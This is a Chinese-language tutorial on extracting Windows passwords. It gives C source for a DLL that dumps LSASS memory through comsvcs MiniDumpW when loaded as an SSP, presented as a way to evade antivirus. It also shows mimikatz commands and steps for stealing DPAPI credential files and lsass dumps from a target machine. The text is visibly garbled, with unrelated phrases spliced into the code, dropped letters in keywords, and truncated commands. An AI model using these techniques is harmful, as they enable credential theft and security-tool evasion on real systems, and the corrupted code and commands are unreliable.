导出windows密码技巧总结
⼀、使⽤RPC控制lsass加载SSP,实现DUMP LSASS绕过杀软
1.已编译好的ssp.dll(建议⾃⼰编译)
spp.dll 需要修改为完整的绝对路径,测试环境是win2012 管理员权限,提取的⽂件在C:\Windows\Temp\temp.bin,在windows 10可能需要system权限。
编译成功的spp.dll⽂件以及loader注⼊器:
二次元手机壁纸< ssp.dll
mimikatz # kurlsa::minidump teamp.bin
mimikatz # kurlsa::logonPasswords full
2.编译以及注意点
(1).所编译的.h ⽂件是 x64,不能⽤x86进⾏编译;⽣成.h⽂件直接写⼀个idl⽂件就可以⽣成,⾄于为什么要⽤x64的编译是因为xpn师傅当时只分析了x64的ssp注册流程,写的也是x64的流程,⽽且x86的注册api也是不⼀样的, x86并没有NdrClientCall3这个函
数,win10⽤的是NdrClientCall4封装的NdrClientCall2,win7直接⽤的NdrClientCall2,要兼容x86你需要按照xpn师傅的⽂章重新分析然后重写注册流程。
(2).使⽤vs 2015,静态库中使⽤MFC进⾏编译
(3).注意编译的路径和⽂件名以及的进程ID值
(4).编译 的ssp.dll代码:
// dllmain.cpp : 定义 DLL 应⽤程序的⼊⼝点。
#include "pch.h"
#include <stdio.h>
#include <windows.h>
#include <DbgHelp.h>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetPid()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot Error!");
return fal;
}
叠被子步骤
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_stricmp(pe32.szExeFile, "") == 0)
十五从军行{
return pe32.th32ProcessID;
好的多音字}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloHandle(hProcessSnap);
return -1;
}
int Dump_Lsass() {11的英语单词
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary("comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle("ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL || RtlAdjustPrivilege == NULL)
{
朋友的拼音怎么写return 0;
}
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
int pid = GetPid();
电脑安全模式怎么进if (pid != -1)
{
swprintf(ws, 100, L"%d %hs", pid, "c:\\urs\\public\\1.Dmp full"); #需要注意这⾥输出的路径和⽂件名,,以及pid进程值 }
el {
return 0;
}
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpRerved) {
switch (ul_reason_for_call) {
ca DLL_PROCESS_ATTACH:
Dump_Lsass();
break;
ca DLL_THREAD_ATTACH:
ca DLL_THREAD_DETACH:
ca DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
或者
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass进程的pid号 "<pid> <dump.bin> full" MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpRerved) { switch (ul_reason_for_call) {破折号怎么输入
ca DLL_PROCESS_ATTACH:
dump();
break;
ca DLL_THREAD_ATTACH:
ca DLL_THREAD_DETACH:
ca DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
写了DUMP LSASS的DLL:
inject_ dump_dll.dll
<
3.参考链接
XPN的分析:
三好学⽣的分析:的分析
奇安信编译让杀软:
4.总结
该⽅法需要⾃⼰编译,需要知道⽬标系统的进程的ID值,以及设置输出的路径,编译有点⿇烦,可以绕过⼤多数杀软,如绕过卡巴斯基
⼆、使⽤Masterkey⼯具获取密码(windows10和win7下测试成功)
1. 查看⽬标远程凭据(如果有⽂件就相当于有凭据):
dir /a %urprofile%\AppData\Local\Microsoft\Credentials\*
#如果此⽂件下没有发现评级,可使⽤cmdkey /list 命令后⼀般出现了凭据信息,如果还是没出现⽂件,说明⽂件是隐藏的,可以把隐藏系统⽂件勾选取消了或者使⽤命令dir /a进⾏查看。
#dir /a C:\Urs\每个⽤户\AppData\Local\Microsoft\Credentials\ //会把所有登录的⽤户的凭据加密⽂件都找出来
2. 将此⽂件夹中的⽂件从⽬标机远程下载到本地的C:\a⽂件夹中
3. 在⽬标机上使⽤procdump获取⽬标内存
< -accepteula - lsass.dmp
4. 将lsass.dmp复制到本地,选择⼀个刚刚下载下来的密码⽂件对其进⾏解密。此处需要记录下guidMasterKey的值。
mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460